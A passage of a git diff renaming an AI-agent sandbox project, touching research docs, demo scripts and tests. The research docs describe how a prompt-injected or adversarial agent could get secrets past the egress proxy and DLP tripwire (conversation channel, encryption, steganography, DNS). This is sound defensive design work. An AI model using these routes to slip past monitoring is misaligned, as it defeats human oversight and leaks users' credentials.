credential formats. Custom patterns can be added but the mechanism (signed rule bundles) is not documented in detail in public search results. Before v2, testing against @@ -606,12 +606,12 @@ some other way. That is not the use case the project was built for. integration work, audit which capabilities cited above are in the Apache 2.0 core and which require accepting ELv2 terms (which permit internal use and modification but prohibit offering pipelock as a - managed service). For claude-bottle's local-Docker single-user use case, + managed service). For bot-bottle's local-Docker single-user use case, ELv2 is likely acceptable, but the determination should be explicit. 6. **Can pipelock's YAML config be generated per-agent from the manifest in a way that handles the `ssh` array correctly?** The `ssh` array in - `claude-bottle.json` contains hostnames, ports, and `KnownHostKey` entries. + `bot-bottle.json` contains hostnames, ports, and `KnownHostKey` entries. These need to be mapped to pipelock's `api_allowlist` (for HTTP) and potentially to a separate bypass for the SSH socket. SSH is opaque to the HTTP proxy and does not go through `HTTPS_PROXY`; the allowlist entry is diff --git a/docs/research/polish-priorities.md b/docs/research/polish-priorities.md index cad524f..f0c15f4 100644 --- a/docs/research/polish-priorities.md +++ b/docs/research/polish-priorities.md @@ -1,7 +1,7 @@ # Closing the maturity gap: polish priorities Research into what would close the perceived maturity gap between -claude-bottle and a "polished" comparable like claudebox. Motivated +bot-bottle and a "polished" comparable like claudebox. Motivated by adopter feedback citing first-run friction, manifest authoring, and distribution as the dominant obstacles to recommending the tool to others. @@ -33,11 +33,11 @@ on top of working onboarding. ### Onboarding friction A first-time user today goes through five steps: install Docker, -install `uv`, set `CLAUDE_BOTTLE_OAUTH_TOKEN`, write -`claude-bottle.json`, run `./cli.py start`. One of those is +install `uv`, set `BOT_BOTTLE_OAUTH_TOKEN`, write +`bot-bottle.json`, run `./cli.py start`. One of those is "author a JSON manifest." Polished tools in this category let users skip that step on day one. The fix is an `init` subcommand -that drops a working `claude-bottle.json` with a default `coder` +that drops a working `bot-bottle.json` with a default `coder` bottle/agent into the user's home directory and prints the next command to run. @@ -45,14 +45,14 @@ command to run. Missing Docker, missing OAuth token, manifest typo, image build failure — each should print a one-line fix rather than a stack -trace. claudebox handles this well; claude-bottle currently exits +trace. claudebox handles this well; bot-bottle currently exits on `die()` calls that vary in helpfulness. A focused pass over every `die()` site, ensuring each message says what failed *and* what to do, is cheap and compounds across every user interaction. ### Distribution -`brew install claude-bottle` or `curl | sh`, not "clone the repo, +`brew install bot-bottle` or `curl | sh`, not "clone the repo, install Python deps, `chmod cli.py`." The single highest-leverage polish item, and the one that interacts with the language choice covered in `bash-vs-python-vs-go.md`. Staying on Python means a @@ -69,7 +69,7 @@ small; the signal value is large. ### Schema -A JSON schema for `claude-bottle.json` published with a `$schema` +A JSON schema for `bot-bottle.json` published with a `$schema` URL gives VSCode and Cursor users autocomplete and inline validation. ~½ day to author the schema, plus a few hours to publish it where editors can fetch it. diff --git a/docs/research/remote-docker-vm-isolation.md b/docs/research/remote-docker-vm-isolation.md index b10d3bb..c161409 100644 --- a/docs/research/remote-docker-vm-isolation.md +++ b/docs/research/remote-docker-vm-isolation.md @@ -1,7 +1,7 @@ -# Remote Docker VM as an isolation upgrade for claude-bottle +# Remote Docker VM as an isolation upgrade for bot-bottle Note on the cheapest practical path to stronger isolation than local -Docker: run claude-bottle unchanged on a remote Linux VM that has +Docker: run bot-bottle unchanged on a remote Linux VM that has dockerd. Complements `stronger-isolation-alternatives.md` (which surveys runtime swaps like gVisor, Kata, Firecracker, Apple Container) and `local-vs-remote-agent-execution.md` (which surveys the @@ -10,7 +10,7 @@ local-vs-remote decision broadly). ## Summary If the goal is "stronger isolation than Docker-on-my-laptop without -rewriting the runtime," the cleanest answer is to keep claude-bottle +rewriting the runtime," the cleanest answer is to keep bot-bottle exactly as it is and run it on a remote Linux VM where you can install dockerd. The v1 design — pipelock as a separate container on a `--internal` network, ephemeral agent containers, OAuth-token @@ -91,7 +91,7 @@ work: may not allow installing dockerd depending on tier; Fly Machines, EC2, GCE, Hetzner, Linode, and self-hosted hypervisors give you full control. -- Enough disk + RAM to host the claude-bottle image, the agent +- Enough disk + RAM to host the bot-bottle image, the agent container, and the pipelock sidecar. Headroom of ~2–4 GB RAM and ~5 GB disk is comfortable; less works for short sessions. - An interactive reach path. SSH is fine. The launcher uses @@ -102,7 +102,7 @@ work: - **Typing latency.** Interactive Claude sessions over SSH have visible per-keystroke latency; usually fine on wired/fiber, less fine on Wi-Fi-to-cloud. Mosh helps if it's bothersome. -- **Token shipping.** `CLAUDE_BOTTLE_OAUTH_TOKEN` has to live on the +- **Token shipping.** `BOT_BOTTLE_OAUTH_TOKEN` has to live on the remote box for the launcher to forward it into containers. Use the provider's secret-injection path (cloud-init user-data, `flyctl secrets`, Tailscale-served local file, etc.). Never echo the @@ -122,15 +122,15 @@ work: ## Operational shape -The minimum-viable workflow, no claude-bottle code changes: +The minimum-viable workflow, no bot-bottle code changes: 1. `terraform apply` / `flyctl machine run` / `gcloud compute instances create` — provision a fresh Linux VM. 2. Install dockerd via the provider's image or a one-liner (`curl -fsSL https://get.docker.com | sh`). 3. SSH in. -4. `git clone` claude-bottle on the VM, drop a manifest in place, - inject `CLAUDE_BOTTLE_OAUTH_TOKEN` via the provider's secrets path. +4. `git clone` bot-bottle on the VM, drop a manifest in place, + inject `BOT_BOTTLE_OAUTH_TOKEN` via the provider's secrets path. 5. `./cli.py start ` — the existing launcher handles the rest. 6. On exit: destroy the VM. No host artifacts persist. @@ -150,14 +150,14 @@ gotchas the abstract pattern leaves implicit. Build a custom OCI image `FROM docker:dind` that bakes in: -- The claude-bottle repository checkout. -- A pre-built `claude-bottle:latest` image, saved via `docker save` on +- The bot-bottle repository checkout. +- A pre-built `bot-bottle-claude:latest` image, saved via `docker save` on your laptop and loaded in at image-build time - (`RUN docker load < claude-bottle.tar`) or pushed as a layer into + (`RUN docker load < bot-bottle.tar`) or pushed as a layer into the dind storage. Without this step, the first in-VM `docker build` runs `apt-get` and a global `npm install -g @anthropic-ai/claude-code`, which adds 30–90 s to every cold start. -- A `flyctl secrets`-injected `CLAUDE_BOTTLE_OAUTH_TOKEN`, exposed to +- A `flyctl secrets`-injected `BOT_BOTTLE_OAUTH_TOKEN`, exposed to the VM's PID 1 as an env var. - An entrypoint that starts dockerd, waits for it to be healthy, then either drops into a shell or directly runs `cli.py start `. @@ -166,7 +166,7 @@ Deploy with `flyctl deploy` or `flyctl machine run --image …`. ### Boot-to-first-prompt timing -Three scenarios, all assuming the custom image above (claude-bottle +Three scenarios, all assuming the custom image above (bot-bottle image baked in, token injected, no in-VM rebuild): | Phase | Cold (image not cached on Fly host) | Warm (image cached, `machine run` fresh) | Hot (`machine stop`ped, `machine start`) | @@ -186,7 +186,7 @@ is mostly about cost, not speed. ### Cost of standby vs. create-per-session Stopped Fly Machines stop billing CPU/RAM but continue to bill for -storage and any allocated IPv4. A reasonable claude-bottle Machine +storage and any allocated IPv4. A reasonable bot-bottle Machine size (2 vCPU / 2 GB / ~3 GB rootfs) costs roughly: | Item | While stopped | Monthly | @@ -275,7 +275,7 @@ overhead in any given setting. If we wanted to land this as a real project direction: -1. Add a short "Running claude-bottle on a remote Docker VM" section +1. Add a short "Running bot-bottle on a remote Docker VM" section to the README pointing at this doc. 2. Optionally: prototype the `--remote=user@host` launcher subcommand. 3. Update `stronger-isolation-alternatives.md` to mention the remote diff --git a/docs/research/secret-exfil-tripwire-encodings.md b/docs/research/secret-exfil-tripwire-encodings.md index d5c4636..8645886 100644 --- a/docs/research/secret-exfil-tripwire-encodings.md +++ b/docs/research/secret-exfil-tripwire-encodings.md @@ -35,7 +35,7 @@ which naive encoding a misbehaving agent uses. explicitly does not decode base64 or ROT13 in all inspection paths due to processing overhead concerns. - Rolling this in ~100 lines of Python is feasible and is probably the right - path for claude-bottle v1. The limiting factor is not the encoding logic + path for bot-bottle v1. The limiting factor is not the encoding logic — that is straightforward — but the false-positive rate from common base64 alphabet collisions and the zero coverage against any re-encoding that involves a key (encryption) or destroys byte boundaries (packet @@ -385,7 +385,7 @@ involves: - Steganography (hiding data in image pixels, audio samples, whitespace), ...will produce output with no detectable relationship to the input plaintext. -For claude-bottle's threat model — an untrusted but not adversarially +For bot-bottle's threat model — an untrusted but not adversarially sophisticated agent that might accidentally or naively encode secrets before logging or posting them — naive-encoding detection covers the realistic concern. A deliberately adversarial agent with knowledge of its own monitoring is a @@ -393,9 +393,9 @@ different threat model entirely. --- -## Integration point in claude-bottle +## Integration point in bot-bottle -The natural choke point for encoding-aware content inspection in claude-bottle +The natural choke point for encoding-aware content inspection in bot-bottle is the body of outbound HTTP/HTTPS requests, visible at the egress proxy layer. The egress-guard note documents smokescreen (Stripe, [github.com/stripe/smokescreen](https://github.com/stripe/smokescreen)) @@ -450,7 +450,7 @@ and pre-computable. The following techniques defeat it entirely: intercepted by an HTTP proxy at all. The egress-guard note covers DNS separately via a controlled resolver. -In the claude-bottle context, the primary realistic concern is an agent +In the bot-bottle context, the primary realistic concern is an agent that naively embeds a secret in a log line, a curl argument, a JSON body, or a shell heredoc without specifically intending to obfuscate. All of the above bypass techniques require deliberate, adversarially-motivated engineering diff --git a/docs/research/secret-minimization-over-dlp.md b/docs/research/secret-minimization-over-dlp.md index f98fc24..2b055b0 100644 --- a/docs/research/secret-minimization-over-dlp.md +++ b/docs/research/secret-minimization-over-dlp.md @@ -13,7 +13,7 @@ existing tools in that space). ## Summary -claude-bottle's v1 egress story is: pipelock allowlists hostnames, +bot-bottle's v1 egress story is: pipelock allowlists hostnames, intercepts TLS, body-scans every request against 48 builtin DLP patterns, and blocks on hit. Gitleaks does the analog on `git push`. Both are signature-based. Against a *determined* compromised or @@ -79,7 +79,7 @@ The agent's conversation channel is therefore wide open as an exfil path. A prompt-injected agent that has been told a secret can ship it to Anthropic as conversation text, formatted however it likes, and pipelock sees only `CONNECT api.anthropic.com:443`. The -`CLAUDE_BOTTLE_OAUTH_TOKEN` itself rides this exact path. +`BOT_BOTTLE_OAUTH_TOKEN` itself rides this exact path. ### 3. Out-of-band channels exist regardless @@ -134,7 +134,7 @@ per-bottle gate that: Two concrete instances worth implementing: -**Anthropic-API gate.** Holds `CLAUDE_BOTTLE_OAUTH_TOKEN`. Agent's +**Anthropic-API gate.** Holds `BOT_BOTTLE_OAUTH_TOKEN`. Agent's `ANTHROPIC_BASE_URL` points at the gate; gate injects `Authorization: Bearer …` and forwards to api.anthropic.com. The token is no longer in the bottle's env. Once the token is out, diff --git a/docs/research/smolmachines-as-vm-backend.md b/docs/research/smolmachines-as-vm-backend.md index 3faa2df..de4c2b6 100644 --- a/docs/research/smolmachines-as-vm-backend.md +++ b/docs/research/smolmachines-as-vm-backend.md @@ -1,4 +1,4 @@ -# smolmachines as a VM backend for claude-bottle +# smolmachines as a VM backend for bot-bottle Evaluation of whether [smolmachines](https://smolmachines.com/) would simplify the macOS agent-VM-isolation work spelled out in diff --git a/docs/research/stronger-isolation-alternatives.md b/docs/research/stronger-isolation-alternatives.md index aabb09e..9dc62cd 100644 --- a/docs/research/stronger-isolation-alternatives.md +++ b/docs/research/stronger-isolation-alternatives.md @@ -1,7 +1,7 @@ # Stronger isolation alternatives: gVisor, Kata, Firecracker, Apple Container Research into what it would take to replace or augment Docker (with `runc`) -as the agent runtime in claude-bottle, and what each option would actually +as the agent runtime in bot-bottle, and what each option would actually buy in security terms vs. cost in launcher rewrite. ## Summary @@ -17,7 +17,7 @@ There is a ladder, not a menu. Three realistic rungs, ordered by effort: A fourth option, **Apple Container**, is the right macOS-native answer to "I want Kata's isolation model without giving up MacBooks as the dev -target." Probably the right v2 if claude-bottle keeps macOS in scope. +target." Probably the right v2 if bot-bottle keeps macOS in scope. The pipelock egress design is portable across all four: every option can provide a network primitive that means "no default route except through @@ -54,11 +54,11 @@ forwarded to the host kernel. ### What changes in this codebase -- `claude_bottle/cli/start.py` (where `docker run` is assembled): add +- `bot_bottle/cli/start.py` (where `docker run` is assembled): add `--runtime=runsc` to the container args when the bottle requests it. Make it configurable: `bottles..runtime: "runsc" | "runc"`, default `runc`. -- `claude_bottle/docker.py`: add a `require_runsc()` check that runs +- `bot_bottle/docker.py`: add a `require_runsc()` check that runs `docker info --format '{{.Runtimes}}'` once and dies with an install pointer if `runsc` isn't registered. - `network.py`, `pipelock.py`, `skills.py`, `ssh.py`: **no changes**. @@ -111,7 +111,7 @@ Docker network. - Slower cold start (hundreds of ms vs. tens). For interactive Claude this is fine; for ephemeral batch agents you would notice. - Not natively supported on macOS at all — needs a Linux host or a Linux - VM you control. **This is the moment claude-bottle stops being "works + VM you control. **This is the moment bot-bottle stops being "works on a Mac dev laptop with Docker Desktop."** ### When this is the right rung @@ -138,18 +138,18 @@ replacing Docker, not adding to it. ### Files in this repo that would change -- `claude_bottle/docker.py` → replaced by a new `claude_bottle/firecracker.py` +- `bot_bottle/docker.py` → replaced by a new `bot_bottle/firecracker.py` that POSTs to the Firecracker API socket per microVM (`/boot-source`, `/drives`, `/network-interfaces`, `/actions`). -- `claude_bottle/network.py` → a host-side networking module that creates +- `bot_bottle/network.py` → a host-side networking module that creates a Linux bridge per agent, two TAPs (agent-side, pipelock-side), and either iptables rules or no host route at all so the agent VM literally cannot reach anything except pipelock. -- `claude_bottle/pipelock.py` → instead of a sidecar container, run +- `bot_bottle/pipelock.py` → instead of a sidecar container, run pipelock as its own microVM (or on the host pinned to the bridge). The hostname-allowlist semantics carry over; the implementation is different. -- `claude_bottle/skills.py`, `ssh.py` → can no longer use `docker cp`. +- `bot_bottle/skills.py`, `ssh.py` → can no longer use `docker cp`. Bake skills into the rootfs at build time, or mount a virtiofs share read-only. - `Dockerfile` → replaced by a rootfs builder. Realistically this means @@ -221,7 +221,7 @@ scope and the manifest example carries `/Users/didericis` paths: and look at Apple Container. Smaller launcher rewrite than Firecracker; Linux stays on the gVisor / Kata path. Probably the right v2. -3. **Firecracker only if** claude-bottle's deployment target settles on +3. **Firecracker only if** bot-bottle's deployment target settles on self-hosted Linux, not laptops — at which point the "non-goal: self-hosted VMs" line in `CLAUDE.md` flips and the project's identity changes. diff --git a/examples/agents/implementer.md b/examples/agents/implementer.md index 4880eef..3c178ba 100644 --- a/examples/agents/implementer.md +++ b/examples/agents/implementer.md @@ -8,7 +8,7 @@ skills: --- You are a feature-implementation agent running inside an ephemeral -claude-bottle sandbox. Treat the workspace's CLAUDE.md as +bot-bottle sandbox. Treat the workspace's CLAUDE.md as authoritative for coding standards, test commands, and project conventions. Implement only what your task prompt asks for — do not refactor adjacent code, invent follow-ups, or relax the PRD's diff --git a/examples/bottles/dev.md b/examples/bottles/dev.md index 584b8c3..0e1f8ed 100644 --- a/examples/bottles/dev.md +++ b/examples/bottles/dev.md @@ -8,7 +8,7 @@ cred_proxy: - path: /anthropic/ upstream: https://api.anthropic.com auth_scheme: Bearer - token_ref: CLAUDE_BOTTLE_OAUTH_TOKEN + token_ref: BOT_BOTTLE_OAUTH_TOKEN role: anthropic-base-url - path: /gh-api/ upstream: https://api.github.com @@ -34,5 +34,5 @@ cred_proxy: The `dev` bottle — backs a generic development workflow. Holds tokens for Anthropic, GitHub, a self-hosted Gitea, and npm. -Drop this file into `~/.claude-bottle/bottles/dev.md` and any agent +Drop this file into `~/.bot-bottle/bottles/dev.md` and any agent referencing `bottle: dev` will launch against this infrastructure. diff --git a/pyrightconfig.json b/pyrightconfig.json index d2cbe87..4f3ac82 100644 --- a/pyrightconfig.json +++ b/pyrightconfig.json @@ -1,7 +1,7 @@ { "include": [ "cli.py", - "claude_bottle", + "bot_bottle", "tests" ], "exclude": [ diff --git a/scripts/demo-record.sh b/scripts/demo-record.sh index 68b8708..907ba80 100755 --- a/scripts/demo-record.sh +++ b/scripts/demo-record.sh @@ -11,8 +11,8 @@ if ! command -v vhs >/dev/null 2>&1; then exit 1 fi -if [ -z "${CLAUDE_BOTTLE_OAUTH_TOKEN:-}" ]; then - echo "demo-record: CLAUDE_BOTTLE_OAUTH_TOKEN is unset; claude inside the bottle will not auth" >&2 +if [ -z "${BOT_BOTTLE_OAUTH_TOKEN:-}" ]; then + echo "demo-record: BOT_BOTTLE_OAUTH_TOKEN is unset; claude inside the bottle will not auth" >&2 exit 1 fi diff --git a/scripts/demo-setup.sh b/scripts/demo-setup.sh index 5ce96ed..845d456 100755 --- a/scripts/demo-setup.sh +++ b/scripts/demo-setup.sh @@ -1,8 +1,8 @@ #!/usr/bin/env bash # Prepare the working directory to run the recorded demo via cli.py: -# - back up any existing claude-bottle.json so the user's real config +# - back up any existing bot-bottle.json so the user's real config # isn't clobbered -# - install claude-bottle.demo.json as claude-bottle.json +# - install bot-bottle.demo.json as bot-bottle.json # - create a dummy SSH identity at the path the demo manifest expects # - pre-warm the bottle + git-gate images quietly so the recording # doesn't spend its first 30s in BuildKit output @@ -19,15 +19,15 @@ fi # Back up an existing local manifest (untouched if absent). Stored # alongside the manifest with a deterministic name so teardown can # find it without state files. -if [ -f claude-bottle.json ]; then - cp claude-bottle.json claude-bottle.json.demo-backup +if [ -f bot-bottle.json ]; then + cp bot-bottle.json bot-bottle.json.demo-backup fi -cp claude-bottle.demo.json claude-bottle.json +cp bot-bottle.demo.json bot-bottle.json # Dummy SSH identity — the git-gate validator wants a readable file at # the IdentityFile path. Contents don't matter for the demo: the # unreachable upstream means the gate never actually uses the key. -fake_key_dir="$HOME/.cache/claude-bottle-demo" +fake_key_dir="$HOME/.cache/bot-bottle-demo" mkdir -p "$fake_key_dir" chmod 700 "$fake_key_dir" printf 'not-a-real-key\n' > "$fake_key_dir/fake-key" @@ -35,5 +35,5 @@ chmod 600 "$fake_key_dir/fake-key" # Build the image graph quietly so the recorded run shows only the # bottle launch and the four `!` probes, not BuildKit progress. -docker build -q -t claude-bottle:latest . >/dev/null 2>&1 || true -docker build -q -f Dockerfile.git-gate -t claude-bottle-git-gate:latest . >/dev/null 2>&1 || true +docker build -q -f Dockerfile.claude -t bot-bottle-claude:latest . >/dev/null 2>&1 || true +docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true diff --git a/scripts/demo-teardown.sh b/scripts/demo-teardown.sh index 1879a3f..94e01d7 100755 --- a/scripts/demo-teardown.sh +++ b/scripts/demo-teardown.sh @@ -1,14 +1,14 @@ #!/usr/bin/env bash # Undo what demo-setup.sh did. Restores any pre-existing -# claude-bottle.json, removes the dummy SSH identity. Idempotent. +# bot-bottle.json, removes the dummy SSH identity. Idempotent. set -euo pipefail cd "$(dirname "$0")/.." -rm -f claude-bottle.json -if [ -f claude-bottle.json.demo-backup ]; then - mv claude-bottle.json.demo-backup claude-bottle.json +rm -f bot-bottle.json +if [ -f bot-bottle.json.demo-backup ]; then + mv bot-bottle.json.demo-backup bot-bottle.json fi -rm -rf "$HOME/.cache/claude-bottle-demo" +rm -rf "$HOME/.cache/bot-bottle-demo" diff --git a/scripts/demo.sh b/scripts/demo.sh index ec93b22..85571ad 100755 --- a/scripts/demo.sh +++ b/scripts/demo.sh @@ -14,9 +14,9 @@ set -euo pipefail cd "$(dirname "$0")/.." -if [ -z "${CLAUDE_BOTTLE_OAUTH_TOKEN:-}" ]; then +if [ -z "${BOT_BOTTLE_OAUTH_TOKEN:-}" ]; then cat <<'EOF' >&2 -demo: CLAUDE_BOTTLE_OAUTH_TOKEN is unset. The bottle launches claude, +demo: BOT_BOTTLE_OAUTH_TOKEN is unset. The bottle launches claude, which needs the token to authenticate. Set it in your shell env (e.g. ~/.zshrc) — see README §Auth — then re-run. EOF diff --git a/tests/README.md b/tests/README.md index 47438e2..79d6f9d 100644 --- a/tests/README.md +++ b/tests/README.md @@ -36,7 +36,7 @@ python -m unittest tests.unit.test_pipelock_yaml # one file ``` Discovery is invoked with `-t .` (top-level dir = repo root) so the -`claude_bottle` package on `sys.path` resolves correctly. +`bot_bottle` package on `sys.path` resolves correctly. ## What the integration tests cover @@ -56,16 +56,16 @@ Discovery is invoked with `-t .` (top-level dir = repo root) so the `tests/canaries/` holds upstream-regression checks (e.g. the pinned pipelock digest's binary still runs). These are gated on -`CLAUDE_BOTTLE_RUN_CANARIES=1` and not part of the per-push suite. +`BOT_BOTTLE_RUN_CANARIES=1` and not part of the per-push suite. They're invoked by the scheduled `canaries` workflow. ```bash -CLAUDE_BOTTLE_RUN_CANARIES=1 python -m unittest discover -t . -s tests/canaries -v +BOT_BOTTLE_RUN_CANARIES=1 python -m unittest discover -t . -s tests/canaries -v ``` ## What's NOT covered -- `claude_bottle/ssh.py` end-to-end (would need a fake SSH host inside +- `bot_bottle/ssh.py` end-to-end (would need a fake SSH host inside the container). - A live SSH-through-pipelock tunnel against a real Tailscale-style IP. - DLP false-positive measurements. @@ -80,7 +80,7 @@ CLAUDE_BOTTLE_RUN_CANARIES=1 python -m unittest discover -t . -s tests/canaries ```python import unittest - from claude_bottle. import + from bot_bottle. import class TestThing(unittest.TestCase): def test_x(self): diff --git a/tests/canaries/test_pipelock_image.py b/tests/canaries/test_pipelock_image.py index 82b8e30..9bfc5d4 100644 --- a/tests/canaries/test_pipelock_image.py +++ b/tests/canaries/test_pipelock_image.py @@ -3,7 +3,7 @@ This test exists to catch a broken upstream packaging at the pinned digest. It is NOT part of the per-push suite — that would couple every dev push to upstream registry availability. Set -CLAUDE_BOTTLE_RUN_CANARIES=1 to opt in (a scheduled CI workflow does +BOT_BOTTLE_RUN_CANARIES=1 to opt in (a scheduled CI workflow does this; humans can run it ad-hoc the same way). """ @@ -11,13 +11,13 @@ import os import subprocess import unittest -from claude_bottle.backend.docker.pipelock import PIPELOCK_IMAGE +from bot_bottle.backend.docker.pipelock import PIPELOCK_IMAGE from tests._docker import skip_unless_docker @unittest.skipUnless( - os.environ.get("CLAUDE_BOTTLE_RUN_CANARIES") == "1", - "canary suite is opt-in; set CLAUDE_BOTTLE_RUN_CANARIES=1 to run", + os.environ.get("BOT_BOTTLE_RUN_CANARIES") == "1", + "canary suite is opt-in; set BOT_BOTTLE_RUN_CANARIES=1 to run", ) @skip_unless_docker() class TestPipelockImage(unittest.TestCase): diff --git a/tests/fixtures.py b/tests/fixtures.py index cfcb11a..4c73dc8 100644 --- a/tests/fixtures.py +++ b/tests/fixtures.py @@ -10,7 +10,7 @@ import tempfile from pathlib import Path from typing import Any, Callable -from claude_bottle.manifest import Manifest +from bot_bottle.manifest import Manifest def fixture_minimal_dict() -> dict[str, Any]: @@ -45,8 +45,8 @@ def fixture_with_git_dict() -> dict[str, Any]: "git": { "remotes": { "gitea.dideric.is": { - "Name": "claude-bottle", - "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/claude-bottle.git", + "Name": "bot-bottle", + "Upstream": "ssh://git@gitea.dideric.is:30009/didericis/bot-bottle.git", "IdentityFile": "/dev/null", "KnownHostKey": "ssh-ed25519 AAAA...", }, diff --git a/tests/integration/test_capability_apply.py b/tests/integration/test_capability_apply.py index 02711cc..8841bd3 100644 --- a/tests/integration/test_capability_apply.py +++ b/tests/integration/test_capability_apply.py @@ -7,7 +7,7 @@ an interactive claude session). Instead, this test stages the minimum the orchestrator interacts with: - A lightweight `alpine:latest sleep infinity` container named - `claude-bottle-` (matches the agent container name pattern) + `bot-bottle-` (matches the agent container name pattern) on the per-bottle internal network. - A marker file under `/home/node/.claude/` so we can assert the transcript snapshot path actually transferred bytes. @@ -31,15 +31,15 @@ import time import unittest from pathlib import Path -from claude_bottle import supervise -from claude_bottle.backend.docker import bottle_state, capability_apply -from claude_bottle.backend.docker.capability_apply import apply_capability_change -from claude_bottle.backend.docker.network import ( +from bot_bottle import supervise +from bot_bottle.backend.docker import bottle_state, capability_apply +from bot_bottle.backend.docker.capability_apply import apply_capability_change +from bot_bottle.backend.docker.network import ( network_create_egress, network_create_internal, network_remove, ) -from claude_bottle.backend.docker.sidecar_bundle import ( +from bot_bottle.backend.docker.sidecar_bundle import ( sidecar_bundle_container_name, ) from tests._docker import skip_unless_docker @@ -61,21 +61,21 @@ class TestCapabilityApply(unittest.TestCase): def setUp(self): self.slug = f"cb-test-cap-{os.getpid()}-{int(time.time())}" - self.agent_name = f"claude-bottle-{self.slug}" + self.agent_name = f"bot-bottle-{self.slug}" self.sidecar_names: list[str] = [] self.internal_net = "" self.egress_net = "" - # Fake home so tests don't touch ~/.claude-bottle/. + # Fake home so tests don't touch ~/.bot-bottle/. self._tmp = tempfile.TemporaryDirectory(prefix="cap-apply-int.") - self._original_root = supervise.claude_bottle_root + self._original_root = supervise.bot_bottle_root def fake_root() -> Path: - return Path(self._tmp.name) / ".claude-bottle" + return Path(self._tmp.name) / ".bot-bottle" - supervise.claude_bottle_root = fake_root # type: ignore[assignment] + supervise.bot_bottle_root = fake_root # type: ignore[assignment] def tearDown(self): - supervise.claude_bottle_root = self._original_root # type: ignore[assignment] + supervise.bot_bottle_root = self._original_root # type: ignore[assignment] for name in [self.agent_name, *self.sidecar_names]: subprocess.run( ["docker", "rm", "-f", name], diff --git a/tests/integration/test_orphan_cleanup.py b/tests/integration/test_orphan_cleanup.py index bc99737..907510d 100644 --- a/tests/integration/test_orphan_cleanup.py +++ b/tests/integration/test_orphan_cleanup.py @@ -13,7 +13,7 @@ import os import subprocess import unittest -from claude_bottle.backend.docker.network import ( +from bot_bottle.backend.docker.network import ( network_create_egress, network_create_internal, network_remove, @@ -40,7 +40,7 @@ class TestOrphanCleanup(unittest.TestCase): def test_remove_missing_is_noop(self): # Returning True == idempotent success. - self.assertTrue(network_remove(f"claude-bottle-net-{self.slug}-does-not-exist")) + self.assertTrue(network_remove(f"bot-bottle-net-{self.slug}-does-not-exist")) @unittest.skipIf( os.environ.get("GITEA_ACTIONS") == "true", diff --git a/tests/integration/test_pipelock_allow_node.py b/tests/integration/test_pipelock_allow_node.py index 20bf1d1..047df68 100644 --- a/tests/integration/test_pipelock_allow_node.py +++ b/tests/integration/test_pipelock_allow_node.py @@ -20,7 +20,7 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.backend import BottleSpec, get_bottle_backend from tests._docker import skip_unless_docker from tests.fixtures import fixture_minimal diff --git a/tests/integration/test_pipelock_allows_normal_https.py b/tests/integration/test_pipelock_allows_normal_https.py index 41acabe..8342512 100644 --- a/tests/integration/test_pipelock_allows_normal_https.py +++ b/tests/integration/test_pipelock_allows_normal_https.py @@ -17,7 +17,7 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.backend import BottleSpec, get_bottle_backend from tests._docker import skip_unless_docker from tests.fixtures import fixture_minimal diff --git a/tests/integration/test_pipelock_apply.py b/tests/integration/test_pipelock_apply.py index 8e2f64a..c881f11 100644 --- a/tests/integration/test_pipelock_apply.py +++ b/tests/integration/test_pipelock_apply.py @@ -26,29 +26,29 @@ import time import unittest from pathlib import Path -from claude_bottle.backend.docker.bottle_state import pipelock_state_dir -from claude_bottle.backend.docker.network import ( +from bot_bottle.backend.docker.bottle_state import pipelock_state_dir +from bot_bottle.backend.docker.network import ( network_create_egress, network_create_internal, network_remove, ) -from claude_bottle.backend.docker.pipelock import ( +from bot_bottle.backend.docker.pipelock import ( PIPELOCK_CA_CERT_IN_CONTAINER, PIPELOCK_CA_KEY_IN_CONTAINER, pipelock_tls_init, ) -from claude_bottle.pipelock import PipelockProxy -from claude_bottle.backend.docker.pipelock_apply import ( +from bot_bottle.pipelock import PipelockProxy +from bot_bottle.backend.docker.pipelock_apply import ( PipelockApplyError, apply_allowlist_change, fetch_current_allowlist, fetch_current_yaml, ) -from claude_bottle.backend.docker.sidecar_bundle import ( +from bot_bottle.backend.docker.sidecar_bundle import ( SIDECAR_BUNDLE_IMAGE, sidecar_bundle_container_name, ) -from claude_bottle.yaml_subset import parse_yaml_subset +from bot_bottle.yaml_subset import parse_yaml_subset from tests._docker import skip_unless_docker from tests.fixtures import fixture_minimal @@ -77,7 +77,7 @@ class TestPipelockApply(unittest.TestCase): if n: network_remove(n) shutil.rmtree(self.work_dir, ignore_errors=True) - # Clean up the per-slug state dir under ~/.claude-bottle/state/ + # Clean up the per-slug state dir under ~/.bot-bottle/state/ # (apply_allowlist_change writes there; _bring_up calls # proxy.prepare with the same path so the bind-mount and the # hot-reload write target stay coherent). @@ -123,7 +123,7 @@ class TestPipelockApply(unittest.TestCase): ["docker", "create", "--name", self.sidecar_name, "--network", self.internal_net, - "-e", "CLAUDE_BOTTLE_SIDECAR_DAEMONS=pipelock", + "-e", "BOT_BOTTLE_SIDECAR_DAEMONS=pipelock", "-v", f"{prep.yaml_path}:/etc/pipelock.yaml:ro", "-v", f"{ca_cert_host}:{PIPELOCK_CA_CERT_IN_CONTAINER}:ro", "-v", f"{ca_key_host}:{PIPELOCK_CA_KEY_IN_CONTAINER}:ro", diff --git a/tests/integration/test_pipelock_block_node.py b/tests/integration/test_pipelock_block_node.py index 62708f2..01671b6 100644 --- a/tests/integration/test_pipelock_block_node.py +++ b/tests/integration/test_pipelock_block_node.py @@ -17,7 +17,7 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.backend import BottleSpec, get_bottle_backend from tests._docker import skip_unless_docker from tests.fixtures import fixture_minimal diff --git a/tests/integration/test_pipelock_blocks_secret_https_post.py b/tests/integration/test_pipelock_blocks_secret_https_post.py index 2b597ae..dee7e6e 100644 --- a/tests/integration/test_pipelock_blocks_secret_https_post.py +++ b/tests/integration/test_pipelock_blocks_secret_https_post.py @@ -27,8 +27,8 @@ import tempfile import unittest from pathlib import Path -from claude_bottle.backend import BottleSpec, get_bottle_backend -from claude_bottle.manifest import Manifest +from bot_bottle.backend import BottleSpec, get_bottle_backend +from bot_bottle.manifest import Manifest from tests._docker import skip_unless_docker diff --git a/tests/integration/test_pipelock_blocks_secret_post.py b/tests/integration/test_pipelock_blocks_secret_post.py index 8c58bb6..a97ff33 100644 --- 